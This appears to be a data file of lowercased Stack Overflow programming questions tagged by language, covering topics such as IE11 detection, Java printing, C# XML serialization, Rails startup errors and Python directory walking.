javascript detecting ie11 version  i m working on correctly finding client browser version in the code below. everything works but ie11 version number. i keep getting a value of 5. the browser shows correctly for all version that i tested but ie11. i ve tried a few things but i m stumped. can anyone help me with what i m missing  thank you.    <pre><code>// browserinformation     vm.objappversion = navigator.appversion;     vm.objagent = navigator.useragent;      vm.objbrowsername = navigator.appname;      vm.objfullversion =   +parsefloat(navigator.appversion);      vm.objbrmajorversion = parseint(navigator.appversion 10);      vm.objoffsetname =   ;     vm.objoffsetversion =   ;     vm.ix;     // in chrome      if ((vm.objoffsetversion = vm.objagent.indexof( chrome )) != -1) {         vm.objbrowsername =  chrome ; vm.objfullversion = vm.objagent.substring(vm.objoffsetversion + 7);     }         // in ie11     else if ((vm.objoffsetversion = vm.objagent.indexof( rv )) != -1) {         vm.objbrowsername =  microsoft internet explorer version 11 ; vm.objfullversion = vm.objagent.substring(vm.objoffsetversion + 10);     }         // in microsoft internet explorer all other versions     else if ((vm.objoffsetversion = vm.objagent.indexof( msie )) != -1) {         vm.objbrowsername =  microsoft internet explorer ; vm.objfullversion = vm.objagent.substring(vm.objoffsetversion + 5);     }         // in firefox      else if ((vm.objoffsetversion = vm.objagent.indexof( firefox )) != -1) {         vm.objbrowsername =  firefox ;     }         // in safari     else if ((vm.objoffsetversion = vm.objagent.indexof( safari )) != -1) {         vm.objbrowsername =  safari ; vm.objfullversion = vm.objagent.substring(vm.objoffsetversion + 7);         if ((vm.objoffsetversion = vm.objagent.indexof( version )) != -1) vm.objfullversion = vm.objagent.substring(vm.objoffsetversion + 8);     }         // for other browser  name/version  is at the end of useragent      else if ((vm.objoffsetname = vm.objagent.lastindexof(   ) + 1) &lt; (vm.objoffsetversion = vm.objagent.lastindexof( / ))) {         vm.objbrowsername = vm.objagent.substring(vm.objoffsetname  vm.objoffsetversion); vm.objfullversion = vm.objagent.substring(vm.objoffsetversion + 1);         if (vm.objbrowsername.tolowercase() == vm.objbrowsername.touppercase()) { vm.objbrowsername = navigator.appname; }     }     // trimming the fullversion string at semicolon/space if present      if ((vm.ix = vm.objfullversion.indexof( ; )) != -1)         vm.objfullversion = vm.objfullversion.substring(0  vm.ix);     if ((vm.ix = vm.objfullversion.indexof(   )) != -1)         vm.objfullversion = vm.objfullversion.substring(0  vm.ix);         vm.objbrmajorversion = parseint(   + vm.objfullversion  10);     if (isnan(vm.objbrmajorversion)) {         vm.objfullversion =    + parsefloat(navigator.appversion);         vm.objbrmajorversion = parseint(navigator.appversion  10);     } </code></pre>,javascript
unable to print the document using java printer services(jps)  i have implemented a program  to print the document to the specific printer using ip address  printer name and running fine with out any errors and exception. a printer job is being sent from java  i am able to see this on my local printer print pool  but the page is not printing on printer.   <pre><code>uri myuri=null; fileinputstream psstream=null; try   {     psstream = new fileinputstream( sample.doc ); } catch ( filenotfoundexception e )   {     e.printstacktrace(); } docflavor psinformat = docflavor.byte_array.gif; doc mydoc = new simpledoc( psstream  psinformat  null ); printrequestattributeset aset = new hashprintrequestattributeset();  printservice[] services = printservicelookup.lookupprintservices( psinformat  aset); if ( services.length &gt; 0 ) {     docprintjob job = services[0].createprintjob();              try {         job.print( mydoc  aset);     }     catch ( printexception e ){     } } </code></pre>   could you please help me out on this     thanks  srikanth chilukuri   <hr>   i found the problem.   <pre><code>psstream = new fileinputstream( sample.doc );     </code></pre>   the above statement creating problem. because it is ms word application  so unable to read the file using file input stream.    i am using poi jar and reading the doc.   <pre><code>poifsfilesystem psstream = new poifsfilesystem(new fileinputstream(filesname)); doc mydoc = new simpledoc( psstream  psinformat  null ); </code></pre>   but doc api is not supporing got illegalargumentexception   <pre><code>exception in thread  main thread  java.lang.illegalargumentexception: data is not of declared type     at javax.print.simpledoc.&lt;init&gt;(simpledoc.java:82)     at com.src.print.testprint2.main(testprint2.java:67) </code></pre>   could you please help me out on this.,java
this code hangs in release mode but works fine in debug mode  i came across this and want to know the reason for this behavior in debug &amp; release mode.   <pre><code>public static void main(string[] args) {                bool iscomplete = false;     var t = new thread(() =&gt;    {        int i = 0;          while (!iscomplete) i += 0;    });     t.start();     thread.sleep(500);    iscomplete = true;    t.join();    console.writeline( complete! ); } </code></pre>,c#
how to get multiple return object values from wep api   my wep api method :   <pre><code>    [httpget]             public object getdata()             {               var firstobj = dbcontext.customer();               var secondobj= dbcontext.department();               var thirdobj= dbcontext.email();               return new { firstobj secondobj thirdobj };             }      /* this is my client side call */      using (var client = new httpclient())       {        client.defaultrequestheaders.authorization = new authenticationheadervalue( bearer   commonhelper.currenttoken);          client.baseaddress = new uri(commonhelper.baseaddress);          httpresponsemessage response = await client.getasync( /opus/accounts/getdata );      response.ensuresuccessstatuscode();  } </code></pre>   i have returned multiple objects from different tables. i need to get those values from single method in <code>wep api</code>,c#
creating .net runtime envoriment  so i am trying to set up .net runtime envoriment on my machine  can someone tell me what are all the neccessary software that i need  i know i need to install ms visual studio  what else do i need to set up the run time envoriment,.net
how to check in uibutton2 method  if uibutton1 sender is selected  i want to write code in uibutton2 method to check if uibutton1 sender is selected   <pre><code> else if (uibutton1sender.selected == yes) {     [uibutton2sender setimage:[uiimage imagenamed:@ 52.png ] forstate:uicontrolstatenormal];     [audioplayer play];     [self resumetimer];     [self resumelayer:self.view.layer]; </code></pre>   so how do i write this uibutton1sender.selected.    thanks for help.,iphone
how to setup datepart set sql start date and end date  i had a problem how to set up the datepart exact date that i want: hers my example code:   <pre><code>set datefirst 7; select cast(datepart(wk   01/03/2010 ) as char(4)).. // 01/01/2010 to 01/03/2010 to return 1 </code></pre>   how can i set the datepart if  01/03/2010 to 01/09/2010 returns = 1 and 01/10/2010 to 01/16/2010 returns to 2.. up to 53 weeks..,sql
specific getting index of nsmutablearray problem  i have a bit of a problem in my code  and i m beginning to wonder if it s a design issue..    i m treating my appdelegate class as the primary model for my application. with the appdel class  i have a viewcontroller. in my appdelegate class i store an nsmutablearray called blocks which has all of my block object models. similarly  in my viewcontroller i have an identical nsmutablearray called blockviews which stores all of my block object views. the way i update the view after receiving notifications from the model is through kvo. in my viewcontroller  i observe each location property of each block in my blocks array (in the app delegate)  and update the corresponding blockview in blockviews.    i also have it set up so that whenever i add an object to my blocks array in the appdel  it adds an object to the end of the blockviews  array. now  my problem arises when i try to remove an object from my blocks array (in the appdel class). i will not always be removing the last object  and so i am stuck as to how to get the actual index of the object i am trying to remove so that i can remove the corresponding index in my blockviews nsmutablearray.    in my observevalueforkeypath method  the object being passed is the appdelegate class because i am observing the entire blocks array from my viewcontroller (i implemented the indexed array accessors to allow for kvo notifications to occur)  and because of this the object being passed into observevalueforkeypath is in fact a reference to my appdelegateclass (which makes sense).    but  from this  i cannot obtain the index of which object was removed from the blocks array. does anybody have any suggestions as to how i could alter this to provide an index  or a way to get the correct index     is there any way to observe an array for additions or removals  and have the object being passed into my observevalueforkeypath method be the block that was added/removed itself  instead of the appdelegate class,objective-c
preserving text file encoding (ascii  utf-8  utf-16)  i have a simple text file processing tool written in c#  the skeleton looks like this:   <pre><code>    using (streamreader reader = new streamreader(absfilename  true)) // auto detect encoding     using (streamwriter writer = new streamwriter(tmpfilename  false  reader.currentencoding)) // open writer with the same encoding as reader     {         string line;         while ((line = reader.readline()) != null)         {             // do something with line             writer.writeline(line);         }     } </code></pre>   most of the files it operates on are ascii files  with the occasional utf-16 here and there. i want to preserve the file encoding  the newly created file should have the same encoding as the file being read - that s why i open streamwriter with the currentencoding of reader.     my problem is some of the utf-16 files lack preamble and after the streamreader is opened it has currentencoding set to utf-8  which causes the writer to be opened in utf-8 mode. when debugging i can see the reader changes its currentencoding property to utf-16 after the first call to readline  but by that time the writer is already opened.    i can think of a few workarounds (opening the writer later or going over the source file twice - the first one just to detect encoding)  but thought i d ask experts for opinion first. note that i m not concerned with code pages of the ascii files  i m only concerned with ascii/utf-8/utf-16 encodings.,.net
rails server does not start in production - gem related methods are not found  <code>rails_env=production rails s</code>    leads to   <pre><code>=&gt; booting puma =&gt; rails 4.2.6 application starting in production on http://localhost:3000 =&gt; run `rails server -h` for more startup options =&gt; ctrl-c to shutdown server exiting /users/***/.rvm/gems/ruby-2.3.0@global/gems/activerecord-4.2.6/lib/active_record/dynamic_matchers.rb:26:in `method_missing : undefined local variable or method `paperclip  for #&lt;class:0x007fbf49ddafa8&gt; (nameerror) </code></pre>   this only happens when i start the server in production. in dev and test mode  its all fine.    so i guessed that there is some misconfiguration in the gemfile but paperclip and related gems are not grouped (or excluded for production) so this does not make any sense.    the only gems which are grouped into test/dev only are:   <pre><code>group :development  :test do   # test driven development   gem  rspec-rails    gem  factory_girl_rails    gem  shoulda    gem  faker     # check for dead routes   gem  traceroute     # call  byebug  anywhere in the code to stop execution and get a debugger console   gem  byebug     # spring speeds up development by keeping your application running in the background. read more: https://github.com/rails/spring   gem  spring     # find missing translations   gem  i18n-tasks    ~&gt; 0.8.3     gem  simplecov     gem  rack-mini-profiler     gem  letter_opener     # model/controller graphing   gem  railroady  end  group :test do   gem  rspec-sidekiq  end </code></pre>   <strong>i m rather convinced that this has nothing to do with paperclip itself. if i require paperclip manually in the model  other gem related methods fail as well.</strong>    here is the full error trace:   <pre><code>/users/***/.rvm/gems/ruby-2.3.0@global/gems/activerecord-4.2.6/lib/active_record/dynamic_matchers.rb:26:in `method_missing : undefined local variable or method `paperclip  for #&lt;class:0x007fbf49ddafa8&gt; (nameerror)     from /users/***/documents/projekte/***/app/models/sponsorship.rb:2:in `&lt;class:sponsorship&gt;      from /users/***/documents/projekte/***/app/models/sponsorship.rb:1:in `&lt;top (required)&gt;      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `block in require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:240:in `load_dependency      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:360:in `require_or_load      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:494:in `load_missing_constant      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:184:in `const_missing      from /users/***/documents/projekte/***/app/models/advertisement.rb:1:in `&lt;top (required)&gt;      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `block in require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:240:in `load_dependency      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:360:in `require_or_load      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:317:in `depend_on      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:233:in `require_dependency      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/engine.rb:472:in `block (2 levels) in eager_load!      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/engine.rb:471:in `each      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/engine.rb:471:in `block in eager_load!      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/engine.rb:469:in `each      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/engine.rb:469:in `eager_load!      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/engine.rb:346:in `eager_load!      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/application/finisher.rb:56:in `each      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/application/finisher.rb:56:in `block in &lt;module:finisher&gt;      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/initializable.rb:30:in `instance_exec      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/initializable.rb:30:in `run      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/initializable.rb:55:in `block in run_initializers      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:228:in `block in tsort_each      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:350:in `block (2 levels) in each_strongly_connected_component      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:431:in `each_strongly_connected_component_from      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:349:in `block in each_strongly_connected_component      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:347:in `each      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:347:in `call      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:226:in `tsort_each      from /users/***/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/tsort.rb:205:in `tsort_each      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/initializable.rb:54:in `run_initializers      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/application.rb:352:in `initialize!      from /users/***/documents/projekte/***/config/environment.rb:5:in `&lt;top (required)&gt;      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `block in require      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:240:in `load_dependency      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/activesupport-4.2.6/lib/active_support/dependencies.rb:274:in `require      from /users/***/documents/projekte/***/config.ru:3:in `block in &lt;main&gt;      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/builder.rb:55:in `instance_eval      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/builder.rb:55:in `initialize      from /users/***/documents/projekte/***/config.ru:in `new      from /users/***/documents/projekte/***/config.ru:in `&lt;main&gt;      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/builder.rb:49:in `eval      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/builder.rb:49:in `new_from_string      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/builder.rb:40:in `parse_file      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/server.rb:299:in `build_app_and_options_from_config      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/server.rb:208:in `app      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands/server.rb:61:in `app      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/server.rb:336:in `wrapped_app      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/rack-1.6.4/lib/rack/server.rb:272:in `start      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands/server.rb:80:in `start      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands/commands_tasks.rb:80:in `block in server      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands/commands_tasks.rb:75:in `tap      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands/commands_tasks.rb:75:in `server      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands/commands_tasks.rb:39:in `run_command!      from /users/***/.rvm/gems/ruby-2.3.0@global/gems/railties-4.2.6/lib/rails/commands.rb:17:in `&lt;top (required)&gt;      from /users/***/documents/projekte/***/bin/rails:8:in `require      from /users/***/documents/projekte/***/bin/rails:8:in `&lt;top (required)&gt;      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/lib/spring/client/rails.rb:28:in `load      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/lib/spring/client/rails.rb:28:in `call      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/lib/spring/client/command.rb:7:in `call      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/lib/spring/client.rb:30:in `run      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/bin/spring:49:in `&lt;top (required)&gt;      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/lib/spring/binstub.rb:11:in `load      from /users/***/.rvm/gems/ruby-2.3.0/gems/spring-1.7.1/lib/spring/binstub.rb:11:in `&lt;top (required)&gt;      from /users/***/documents/projekte/***/bin/spring:16:in `require      from /users/***/documents/projekte/***/bin/spring:16:in `&lt;top (required)&gt;      from bin/rails:3:in `load      from bin/rails:3:in `&lt;main&gt;  </code></pre>,ruby-on-rails
a service that would track and catch whenever someone is trying to take a screenshot  is it possible to write a service program that would catch an event of someone trying to take a screen capture  not that of pressing a printscreen button or any other key combination  though  but of the event itself  even if it is done by some external tool,c#
how do i open wordpad using java  i am doing a small project for my girlfriends grandparents  that have a hard time using a computer so i thought i would be able to write something that might fix their problem. here is the code first off:   <pre><code>import java.io.ioexception;  public class openwordpad {  public static void main(string[] args) {     try {         system.out.println( opening wordpad );         runtime runtime = runtime.getruntime();         process process = runtime.exec( wordpad );         try {             thread.sleep(5000);         } catch (interruptedexception e) {             e.printstacktrace();         }         system.out.println( closing wordpad );         process.destroy();     } catch (ioexception e) {         e.printstacktrace();     }   }  } </code></pre>   (had to indent some so sorry if it is a little wonky)    when i put notepad in the process line it works fine but when i put in wordpad it freaks out. i want to be able to open wordpad so i can put it on their computer. any suggestions,java
iphone - reading an area of an image  is that possible to read just a small rectangle area of a large image file,iphone
xmlserializer.serialize stripping the <xml> tag  i am trying to get communicate to a payment processor. when i use <code>xmlserializer.serialize</code>  on my object i get    <pre><code>&lt; xml version=\ 1.0\  encoding=\ utf-16\  &gt; &lt;txn xmlns:xsi=\ http://www.w3.org/2001/xmlschema-instance\  xmlns:xsd=\ http://www.w3.org/2001/xmlschema\ &gt;   &lt;ssl_merchant_id&gt;xxxxxx&lt;/ssl_merchant_id&gt;   &lt;ssl_user_id&gt;xxxxxx&lt;/ssl_user_id&gt;   &lt;ssl_pin&gt;xxxxxx&lt;/ssl_pin&gt;   &lt;ssl_test_mode&gt;true&lt;/ssl_test_mode&gt;   &lt;ssl_transaction_type&gt;ccavsonly&lt;/ssl_transaction_type&gt;   &lt;ssl_card_number&gt;4111111111111111&lt;/ssl_card_number&gt;   &lt;ssl_exp_date&gt;0612&lt;/ssl_exp_date&gt;   &lt;ssl_avs_address&gt;101 main st.&lt;/ssl_avs_address&gt;   &lt;ssl_avs_zip&gt;90210&lt;/ssl_avs_zip&gt; &lt;/txn&gt; </code></pre>   prior to using that method  i manually built the xml for testing and this worked:   <pre><code>&lt;txn&gt;   &lt;ssl_merchant_id&gt;xxxxxx&lt;/ssl_merchant_id&gt;   &lt;ssl_user_id&gt;xxxxxx&lt;/ssl_user_id&gt;   &lt;ssl_pin&gt;xxxxxx&lt;/ssl_pin&gt;   &lt;ssl_test_mode&gt;true&lt;/ssl_test_mode&gt;   &lt;ssl_transaction_type&gt;ccavsonly&lt;/ssl_transaction_type&gt;   &lt;ssl_card_number&gt;4111111111111111&lt;/ssl_card_number&gt;   &lt;ssl_exp_date&gt;0612&lt;/ssl_exp_date&gt;   &lt;ssl_avs_address&gt;101 main st.&lt;/ssl_avs_address&gt;   &lt;ssl_avs_zip&gt;90210&lt;/ssl_avs_zip&gt; &lt;/txn&gt; </code></pre>   how would i go about stripping out the <code>&lt; xml version=\ 1.0\  encoding=\ utf-16\  &gt;</code> and <code>xmlns:xsi=\ http://www.w3.org/2001/xmlschema-instance\  xmlns:xsd=\ http://www.w3.org/2001/xmlschema\ &gt;</code> from the xml or not have the serializer generate it to begin with     my object looks like:   <pre><code>[xmlroot(elementname= txn )] public class avstransmission {     [xmlelement]     public string ssl_merchant_id { get; set; }     [xmlelement]     public string ssl_user_id { get; set; }     [xmlelement]     public string ssl_pin { get; set; }     [xmlelement]     public string ssl_test_mode { get; set; }     [xmlelement]     public string ssl_transaction_type { get; set; }     [xmlelement]     public string ssl_card_number { get; set; }     [xmlelement]     public string ssl_exp_date { get; set; }     [xmlelement]     public string ssl_avs_address { get; set; }     [xmlelement]     public string ssl_avs_zip { get; set; } } </code></pre>,c#
config and settings component for c#  i m starting to design a config and settings component for an application. i need an easy way to read dictionary style settings and also a way to store simple arrays into a persistence level.    is there a commonly used component already available   (something like log4net for logging)  what options should i look into,c#
how can i set the value of a uilabel following a segue   i have a simple storyboard consisting of two uiviewcontrollers  with a segue connecting them.     uivc1 --> uivc2    i m trying to set a uilabel on uivc2 to be equal to a string stored in uivc1. i m trying to pass the string in the <code>prepareforsegue</code> method  and thus far i ve set it to a <code>property</code> in uivc2.   <pre><code>- (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     if ([segue.identifier isequaltostring:@ mysegue ]) {         [segue.destinationviewcontroller setdesc:[brain description]];     } } </code></pre>   the property in uivc2 is <code>desc.</code>    then  in my <code>setdesc</code> method  which i ve implemented  i run <code>self.display.text = self.desc</code> where <code>display</code> is my property for the uilabel.     however  this is not working  and even when i just nslog the value of the uilabel  it doesn t print anything  which makes me wonder if the controller is even communicating with the uilabel... (i did do the ctr+click and drag thing in the storyboard to hook them up.)    is there a better way to do this,ios
c# delete picture box  i am facing an issue when i develop my project. i am sorry that my english is not good. hope you guys can understand what i am talking.    <img src= https://i.stack.imgur.com/q8wxl.png  alt= enter image description here >    from the image you guys can see one x button. this x button is a picture box.  i am trying to add function that make this x button be able to delete the mote(the blue wireless picture box).    how can i do it <br> thanks so much,c#
ios - when i make a new objective c class  what will checking  made for ipad  option do   i am making a new objective c class and it gave two options as check boxes:    1) targeted for ipad 2) make an xib interface    what if i want to make an app that would work on both iphones and ipads  can i do that or will i essentially need to re-do the app  so if i am testing it out on the phone first  i should not check that box  or will that box just make things compatible with the ipad     also  for the xib interface - its where i can place the ui elements  right  but can i place the ui elements on the button right from the storyboard      thanks!,ios
defining constant in objective-c  i m pretty new to objective c and i want to define some constant based on the value of the other constant.   <pre><code>#define mode_dev yes #if (mode_dev)     #define webservice_url @ http://dev.testurl.com ; #else     #define webservice_url @ http://prod.testurl.com ; #endif </code></pre>   and i m using <code>webservice_url</code> as following.   <pre><code>nsurl *url = [nsurl urlwithstring:[nsstring stringwithformat:@ %@add_device_token   webservice_url]]; </code></pre>   but i m getting error in the above line.    the error says  <code> expected ] </code>.    i have no idea what is wrong with my code.,objective-c
extending default ios phone number/address detection actions  when you have a text area in ios  it has the capability to detect phone numbers  urls  and street addresses.  when you touch and hold on the linked item  it will pop up actions.    for example  when you see a phone number such as 303-338-2929 and tap and hold the link you will see the following options:    call  text message  create new contact  add to existing contact.      is there any way to extend these default actions for my own app   for example  web search.    thanks for any ideas....,ios
puma will break breakpoint under dev mode  this is my puma config. the <code>binding.pry</code> won t work with puma  i have to remove puma config file to enable the <code>breakpoint</code> again   <pre><code>    app_name =  sample      app_path = file.expand_path( ../   file.dirname(__file__))     pidfile  /tmp/puma.#{app_name}.pid      bind  unix:///tmp/puma.#{app_name}.sock      stdout_redirect  /tmp/puma.stdout.#{app_name}.log    /tmp/puma.stderr.#{app_name}.log   true     workers integer(env[ web_concurrency ] || 4)     threads 8  16     preload_app!      rackup      defaultrackup     port        7617     rails_env = env[ rails_env ] ||  development      environment rails_env      activate_control_app </code></pre>,ruby-on-rails
introducing delay in a java program  i am calling a .exe file from my java code using :   <pre><code>runtime r=runtime.getruntime();   process p=null; p=r.exec( abcd.exe ); </code></pre>   i want the program to wait till the exe completes its job .(this is actually server side code...control passes to client side after this).the problem now is that ui on client side is populated before the .exe on server side can form the required components.hence ui formed does not have the correct files. i have tried the normal p.waitfor() thing but it doesn t seem to work. any suggestions,java
sql conversion failed when converting the varchar value to data type int  i have this query:   <pre><code>select c.customerid          q.question_id          q.department           c.duedate   from homefront.dbo.tpm_questions_default as q   left outer join homefront.dbo.customerquestions as c      on q.question_id = c.questionid  inner join tblcustomers t      on convert(int  convert(varchar(max)  t.customer_no )) = c.customerid  where c.duedate &lt;= getdate() and c.datecompleted is not null </code></pre>   i just added in the <code>inner join tblcustomers t on convert(int  convert(varchar(max)  t.customer_no )) = c.customerid</code>    now i get this error:   <pre><code>conversion failed when converting the varchar value  c000432  to data type int. </code></pre>,sql
unwanted whitespaces and wrong encoding with fwrite  i m doing a simple <code>**fwrite**</code> in a <strong>csv file</strong> writing one line afte the other:   <pre><code>//clean maybe empty entries of last winners     $cleaned = array();     $tick = 0;     $debug =   ;     if (($fh = fopen(last_winners_path   r+b )) !== false) {         if (flock($fh  lock_ex)) {             while (($row = fgetcsv($fh  300   ; )) !== false) {                 $tick++;                 foreach ($row as $key =&gt; $value) {                     $row[$key] = stripslashes($value);                 }                 if ($row[0] !=   ) {                     array_push($cleaned  $row);                 }             }             array_reverse($cleaned);             ftruncate($fh  0);             $count = count($cleaned);             foreach ($cleaned as $key =&gt; $row) {                 $string = implode( ;   $row);                 if ($key &lt; $count -1) {                     $string .= php_eol;                 }                 fwrite($fh  $string);             }             flock($fh  lock_un);         } else {         }         fclose($fh);     } else {     } </code></pre>   now i have two questions:   <ol> <li> everything is in <strong>utf-8</strong>  but the <strong>csv file</strong> converts every time back to ansi  when writing to it. why and what can be don to prevent this  </li> <li> in front of the first line every time several whitespaces are added. how to avoid that  </li> </ol>,php
is it bad to modify a js core object  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1676383/is-it-an-anti-pattern-to-modify-javascripts-built-in-prototypes >is it an anti-pattern to modify javascript&#39;s built-in prototypes </a>    </blockquote>     i just learned that it s possible to modify the javascript core objects  but the same article that told me how to do it suggested that i never should.    is it a bad thing to modify a core js object   if so  what problems could this cause     as an example  here s a modification of the array object that gives me an easy way to search for a given value in an array:   <pre><code>array.prototype.search = function(val){     var i;     for (i = 0; i &lt; this.length; i++){         if (this[i] == val) {             console.log( found:   + val);             return true;         }     }     console.log( didn t find it );     return false; }; </code></pre>   here s the article: <a href= http://nfriedly.com/techblog/2009/06/advanced-javascript-objects-arrays-and-array-like-objects/  rel= nofollow noreferrer >advanced javascript: objects  arrays  and array-like objects</a>,javascript
how do i access information from files in subdirectories with os.walk   i want to access and process information from files in sub-directories from a root directory. i have tried using os.walk  which gets me to the files  but how do i access their contents  i want specific files in these sub-directories that all have the same name  but there are other files in these sub-directories. this is what i have tried:   <pre><code>import os import numpy as np for root  dirs  files in os.walk( /rootdir/ ):     for file in files:         if file.endswith(( sum.txt )):             print file  #here  the desired file name is printed             pis = []             for line in file:                 print line #here  i only get  s  printed  which i believe is the first letter in  sum.txt                  line = line.rstrip()                 line = line.split( \t )                 pis.append(line[2])     print pis #nothing is collected so nothing is printed </code></pre>   how do i loop over the lines in the desired files in these sub-directories in the root directory     added problem:    i got the answer to my first question  now i have another. in the directories under the root there are many sub-directories. i want to access information from only one sub-directory that has the same name in all directories. this is what i tried:   <pre><code>for root  dirs  files in os.walk( /rootpath/ ):   for dname in dirs:     #print dname  type(dname)     allpis = []     alldirs = []     if dname.endswith( code_output ):  #i only want to access information from one file in sub-directories with this name       ofh = open( sumpis.txt    w )       ofh.write( path\tpis_mean\n )       for fname in files: #here i want to be in the code_output sub-directory         print fname #here i only want to see files in the sub-directory with the  code_output  end of a name  but i get all files in the directory and sub-directory         if fname.endswith( sumall.txt ):           pis = []           with open(os.path.join(root fname)   r ) as fh_in:             for line in fh_in:               line = line.rstrip()               line = line.split( \t )               pis.append(int(line[2]))           pis_mean = numpy.mean(pis)           allpis.append(pis_mean)           alldirs.append(filepath) </code></pre>   why does this loop over all files in the directory and not only the sub-directory with the name ending  code_output,python
what is the difference between new object and new object() in javascript <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3034941/new-myobject-vs-new-myobject >new myobject(); vs new myobject;</a>    </blockquote>     in some articles i seen following statement to create new object in javascript:   <pre><code>var myobject = new object; </code></pre>   and at some sites:   <pre><code>var myobject = new object(); </code></pre>   in there is any difference between two statements or one is just shorthand,javascript
disabled textarea in i.e7 doesnt have a scroll bar how to fix  is there a way to force ie7 to show a scroll bar even when the textarea is disabled. this works fine in firefox but doesnt in ie7,asp.net
